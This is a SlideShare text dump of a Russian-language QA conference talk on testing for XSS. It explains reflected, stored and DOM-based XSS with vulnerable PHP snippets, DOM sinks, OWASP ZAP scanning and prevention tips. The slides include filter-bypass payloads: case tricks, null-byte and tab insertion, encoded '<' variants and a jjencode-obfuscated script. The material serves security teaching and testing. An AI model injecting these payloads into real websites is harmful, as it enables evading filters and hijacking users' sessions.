SlideShare a Scribd company logo
Как провести поиск
- QA gangsta Lead в
- Больше 5 лет тестирую на наличие Web уязвимостей
- Больше 8 лет в тестировании
- Провожу обучение QA Security testing в Start-IT
- Веду блог по Security testing https://svyat.tech
- Веду телеграмм канал https://t.me/qa_security
Свят Логин
В evo входят такие проекты:
XSS ???A7:XSS
XSS (Cross-site scripting)
Он дает возможность выполнять произвольный js в
браузере, пацанчика, который попал на страницу
сайта, где применили тот самый скрипт
A7:Cross-Site Scripting (XSS)A7:XSS
40%
A7:Cross-Site Scripting (XSS)A7:XSS
A7:Cross-Site Scripting (XSS)A7:XSS
A7:Cross-Site Scripting (XSS)A7:XSS
Классификация XSS
- Reflected
- Stored
- DOM-модели
A7:XSS
Отраженные XSS
SEO менеджер Пользователь
bank.ua?search=<script>alert()</script>
Добрый день! Ваша заработная плата находится по ссылке
A7:XSS
A7:XSS
Причина возникновения XSS
<?php
if(!array_key_exists("name",$_GET) | |$_GET['name'] == NULL || $_GET['name']==''){
$isempty=true;
}
else{
echo '<pre>';
echo 'Hello' . $_GET['name'];
echo '</pre>';
}
?>
<svg/onload=prompt()>
A7:XSS
Причина возникновения XSSA7:XSS
SQL injectionСлайд инструкцияA7:XSS
Хранимые XSS
SEO менеджер Пользователь
<img src="http://inexist.ent"
onerror="javascript:alert(1)"/>
bank.ua
A7:XSS
A7:XSS
Причина возникновения XSS
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
// Sanitize name input
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES
('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
A7:XSS
<svg/onload=prompt()>
Причина возникновения XSSA7:XSS
SQL injectionСлайд инструкцияA4:XSS
Угадай мелодиюA7:XSS
Угадай мелодиюA7:XSS
Угадай мелодиюA7:XSS
Угадай мелодиюA7:XSS
Угадай мелодиюA7:XSS
Угадай мелодиюA7:XSS
Угадай мелодиюA7:XSS
XSS воспроизводитьсяA7:XSS
DOM-моделиA7:XSS
- Изменить страницу сайта
- Выполнить действия от имени какого-то
пользователя
- Воровство куки
- Атака на браузер (сафари и експлорер 7)
Аврора ms10_002_aurora
- Кейлоггер
- Сканирование внутренней сети
Пример опасности DOMA7:XSS
Места вызывающие с помощью XSS
● document.URL
● document.URLUnencoded
● document.location (и его свойства)
● document.referrer
● document.cookie
● window.location (и его свойства)
A7:XSS
Места вызывающие с помощью XSS
1) Запись в HTML код страницы:
● document.write(…)
● document.writeln(…)
● document.body.innerHtml=…
3) Открытие/модификация объекта window:
● document.open(…)
● window.open(…)
● window.location.href=… (а также присвоение
значения host и hostname объекта location)
2) Изменение DOM напрямую (включая события
DHTML):
● document.forms[0].action=… (и другие
вариации)
● document.attachEvent(…)
● document.create…(…)
● document.execCommand(…)
● document.body. … (доступ к DOM через
объект body)
● window.attachEvent(…)
5) Изменение URL документа:
● document.location=… (а также присвоение значений href, host и
hostname объекта location)
● document.location.hostname=…
● document.location.replace(…)
● document.location.assign(…)
● document.URL=…
● window.navigate(…)
4) Выполнение скрипта напрямую:
● eval(…)
● window.execScript(…)
● window.setInterval(…)
● window.setTimeout(…)
A7:XSS
Подводные камниA7:XSS
Задуматься о блэклистеA7:XSS
<script>alert()</script>
<script>prompt()</script>
<script>confirm()</script>
Подводные камниA7:XSS
<SCRIPT>
<ScriPt>
<scr i p t x>
<scr<script>ipt>
<svg onload=””>
<script>prompt(1)</script>
Подводные камни ПробелыA7:XSS
TAB <svg+src=”java%09script:prompt()”>
NULL <scr%00ipt>prompt()</scr%00ipt>
NEWLINE <script>//>%0Aprompt();</script>
<script x>
Подводные камни > <A7:XSS
Encoding %3C
Double Encoding %253C
UTF 0xC0 0xBC
Homoglyph < ‹ <
<script x>
<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#X000003C;
x3c
x3C
u003c
u003C
&#X000003c;
&#x3C &#x03C
A7:XSS Подводные камни > < Кол-во комбинаций
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x000003C;
A7:XSS Подводные камни obfuscate jjencode
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$
_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[
$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({
}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=
($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"
")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(
!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$._
_+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+
$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"""+$.$_$
_+(![]+"")[$._$_]+$.$$$_+""+$.__$+$.$$_+$._$_+$.
__+"("+$.__$+$.__$+$.__$+")"+""")())();</script>
http://192.168.1.209/dvwa/vulnerabilities/xss_r/
A7:XSS Лучший XSS
><svg/onload=prompt()>
Поиск XSS -> OWASP ZAP
OWASP ZAP- это инструмент для тестирования
на проникновения и нахождения уязвимостей в
веб-приложениях.
A7:XSS
Каковы плюсы OWASP ZAP
- Перехват прокси
- Автоматизированный сканер
- Fuzzing
- Поддержка аутентификаций и
сессий
- Мощный API на основе REST
- Поддержка большого количества
скриптовых языков
- Активно развивается
международной командой
добровольцев
A7:XSS
Работа с OWASP ZAPРабота с OWASP ZAPA7:XSS
Сортировка ошибок OWASP ZAP
XSS
CSRF и тд
Ну такое
Работа с OWASP ZAPA7:XSS
Работа с OWASP ZAРабота с OWASP ZAPA7:XSS
A7:XSS
Автоматизация OWASP ZAPA4:XSS
Pycharm + Selenium + ZAP = ProfitA4:XSS
Как защититьсяA7:XSS
● Использование фреймворков, которые автоматически убирают
возможность эксплуатации XSS
● Ознакомиться с Cheat Sheet OSSASP «Профилактика XSS»
● Ознакомиться с OATSP Cheat Sheet «DOM based XSS Prevention» .
Спасибо за внимание!
svyat.tech
@qa_security

More Related Content

PDF
Svyatoslav Login "360 View of XSS"
PDF
State of the Standardized Web
PDF
TARS: Сделай уровень frontend-рутины 0% — Артём Малко, 2ГИС
PPTX
Основы MongoDB + NodeJS
PPTX
State of the Standardized Web. YaC 2014
PPTX
Основы JS
PDF
FrontTalks: Алексей Андросов (Яндекс), «Ошибки, которые мы любим»
PDF
Basis.js - Production Ready Framework
Svyatoslav Login "360 View of XSS"
State of the Standardized Web
TARS: Сделай уровень frontend-рутины 0% — Артём Малко, 2ГИС
Основы MongoDB + NodeJS
State of the Standardized Web. YaC 2014
Основы JS
FrontTalks: Алексей Андросов (Яндекс), «Ошибки, которые мы любим»
Basis.js - Production Ready Framework

What's hot (20)

PDF
"Basis.js - Production Ready SPA Framework" Сергей Мелюков (Avito)
PDF
Basis.js - Production Ready SPA Framework
PDF
Как запилить 80 React форм и иногда бывать дома
PDF
Modules and assembling of JavaScript (in russian)
PDF
Произвольная смена дизайна системного скроллбара
PDF
Сделай дизайнеру приятно: Красивые веб-формы
PPT
Оживление сайтов
PDF
М. Боднарчук Современное функциональное тестирование с Codeception
PPTX
Михаил Боднарчук Современное функциональное тестирование с Codeception
PDF
Сергей Сыркин - CSS
PDF
Быстро о быстром
PPTX
Redis varnish js
PDF
Алексей Андросов - Debugger: Отладка кода
PDF
Как построить DOM
PDF
Kranonit s16 (python). dmitry furzenko
PDF
Роман Комаров — «Механизм работы браузера»
PPT
Кроссбраузерные решения в рекламной сети Яндекса
PPT
Презентация к докладу про БЭМ by Mikhail Troshev
 
PDF
CSS-в-JS, HTML-в-JS, ВСЁ-в-JS. Все гораздо проще, когда всё вокруг JavaScript
PDF
Кир Белевич "Touch it: универсальные тач-события и слайдер"
"Basis.js - Production Ready SPA Framework" Сергей Мелюков (Avito)
Basis.js - Production Ready SPA Framework
Как запилить 80 React форм и иногда бывать дома
Modules and assembling of JavaScript (in russian)
Произвольная смена дизайна системного скроллбара
Сделай дизайнеру приятно: Красивые веб-формы
Оживление сайтов
М. Боднарчук Современное функциональное тестирование с Codeception
Михаил Боднарчук Современное функциональное тестирование с Codeception
Сергей Сыркин - CSS
Быстро о быстром
Redis varnish js
Алексей Андросов - Debugger: Отладка кода
Как построить DOM
Kranonit s16 (python). dmitry furzenko
Роман Комаров — «Механизм работы браузера»
Кроссбраузерные решения в рекламной сети Яндекса
Презентация к докладу про БЭМ by Mikhail Troshev
 
CSS-в-JS, HTML-в-JS, ВСЁ-в-JS. Все гораздо проще, когда всё вокруг JavaScript
Кир Белевич "Touch it: универсальные тач-события и слайдер"
Ad

Similar to СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2 (20)

PPTX
Waf.js: как защищать веб-приложения с использованием JavaScript
KEY
Безопасность веб-приложений: starter edition
PPTX
Alexei Sintsov - "Between error and vulerability - one step"
PPT
PT MIFI Labxss
PPT
PT MIFI Labxss
PDF
Risspa domxss
PPTX
Атаки на web-приложения. Основы
PDF
Регрессионное тестирование верстки
PDF
2014 Jeeconf - Geb Spock
PDF
Изоморфные приложения и Python - Виталий Глибин, Huntflow
PPTX
Windows Azure & NodeJS Microsoft SWIT 2012
PPT
Вебинар "Оптимизация производительности мобильных веб-приложений"
PDF
Доставка данных в реальном времени.
PDF
Работа со статикой в Django
PPT
Browser Persistence Bynet
PPTX
XSS. Обходы фильтров и защит.
PDF
Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)
PDF
Сергей Константинов — Что интересного готовит нам W3C
PPT
Web весна 2013 лекция 10
Waf.js: как защищать веб-приложения с использованием JavaScript
Безопасность веб-приложений: starter edition
Alexei Sintsov - "Between error and vulerability - one step"
PT MIFI Labxss
PT MIFI Labxss
Risspa domxss
Атаки на web-приложения. Основы
Регрессионное тестирование верстки
2014 Jeeconf - Geb Spock
Изоморфные приложения и Python - Виталий Глибин, Huntflow
Windows Azure & NodeJS Microsoft SWIT 2012
Вебинар "Оптимизация производительности мобильных веб-приложений"
Доставка данных в реальном времени.
Работа со статикой в Django
Browser Persistence Bynet
XSS. Обходы фильтров и защит.
Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)
Сергей Константинов — Что интересного готовит нам W3C
Web весна 2013 лекция 10
Ad

More from QADay (20)

PDF
СТАНІСЛАВ ПОЛЬСЬКОЙ «QA це спільна справа: залучення БА та девів у процес заб...
PPTX
РАМЕЛЛА БАСЕНКО - Tехніки тест дизайну в дії: розбір задач та корисні поради...
PDF
КАТЕРИНА АБЗЯТОВА - Tехніки тест дизайну в дії: розбір задач та корисні порад...
PDF
ЮРІЙ БАЖАН «Один спринт з життя тестувальника»
PDF
АЛЛА ПЕНАЛЬБА «QA automation, the secret weapon that need (a) manual»
PDF
ЮРІЙ МАЛИЙ «QA метрики в процесі SDLC»..
PDF
АНДРІЙ ЗАБЛОЦЬКИЙ « Досвід побудови сильної та ефективної QA команди»
PDF
РІНА УЖЕВКО «Тестування локалізації та терміни в Gamedev»
PPTX
КАТЕРИНА АБЗЯТОВА «Від бар’єрів до мостів: Важливість Accessibility Testing»
PPTX
ЄВГЕН ГАЙДАЙ «Виділена команда автоматизації тестування. Досвід підтримки та ...
PDF
АНАСТАСІЯ ЧУДОВСЬКА «Переїзд з моноліта на мікросервіси з точки зору QA: як ...
PDF
СОФІЯ НОВАЧЕНКО «Успішне поєднання QA/BA обовʼязків»
PDF
ОЛЕНА НІКІТІНА «Глибинне занурення в процеси тестування: від документації до ...
PDF
ОЛЕСЬ НІКАНЮК «Особливості тестування в міжнародних організаціях: досвід та в...
PPTX
ОЛЕГ ЗАРЕВИЧ «Взаємодії між DevOps і QA»
PPTX
СВЯТ ЛОГІН «Що можна витягнути з мобільних додатків»
PPTX
ГАННА КАПЛУН «Тестування на основі персон: ідея, інструменти, приклади»
PDF
НАТАЛІЯ КРИВОНІС «Необхідні навички для керування командою»
PDF
ОКСАНА ВЕРЕТЮК «Effective project quality check або як успішно налагодити про...
PDF
ВІТАЛІЙ МИХАЙЛЮК «Онбордінг нових тестерів до команди: як ефективно навчати і...
СТАНІСЛАВ ПОЛЬСЬКОЙ «QA це спільна справа: залучення БА та девів у процес заб...
РАМЕЛЛА БАСЕНКО - Tехніки тест дизайну в дії: розбір задач та корисні поради...
КАТЕРИНА АБЗЯТОВА - Tехніки тест дизайну в дії: розбір задач та корисні порад...
ЮРІЙ БАЖАН «Один спринт з життя тестувальника»
АЛЛА ПЕНАЛЬБА «QA automation, the secret weapon that need (a) manual»
ЮРІЙ МАЛИЙ «QA метрики в процесі SDLC»..
АНДРІЙ ЗАБЛОЦЬКИЙ « Досвід побудови сильної та ефективної QA команди»
РІНА УЖЕВКО «Тестування локалізації та терміни в Gamedev»
КАТЕРИНА АБЗЯТОВА «Від бар’єрів до мостів: Важливість Accessibility Testing»
ЄВГЕН ГАЙДАЙ «Виділена команда автоматизації тестування. Досвід підтримки та ...
АНАСТАСІЯ ЧУДОВСЬКА «Переїзд з моноліта на мікросервіси з точки зору QA: як ...
СОФІЯ НОВАЧЕНКО «Успішне поєднання QA/BA обовʼязків»
ОЛЕНА НІКІТІНА «Глибинне занурення в процеси тестування: від документації до ...
ОЛЕСЬ НІКАНЮК «Особливості тестування в міжнародних організаціях: досвід та в...
ОЛЕГ ЗАРЕВИЧ «Взаємодії між DevOps і QA»
СВЯТ ЛОГІН «Що можна витягнути з мобільних додатків»
ГАННА КАПЛУН «Тестування на основі персон: ідея, інструменти, приклади»
НАТАЛІЯ КРИВОНІС «Необхідні навички для керування командою»
ОКСАНА ВЕРЕТЮК «Effective project quality check або як успішно налагодити про...
ВІТАЛІЙ МИХАЙЛЮК «Онбордінг нових тестерів до команди: як ефективно навчати і...

СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2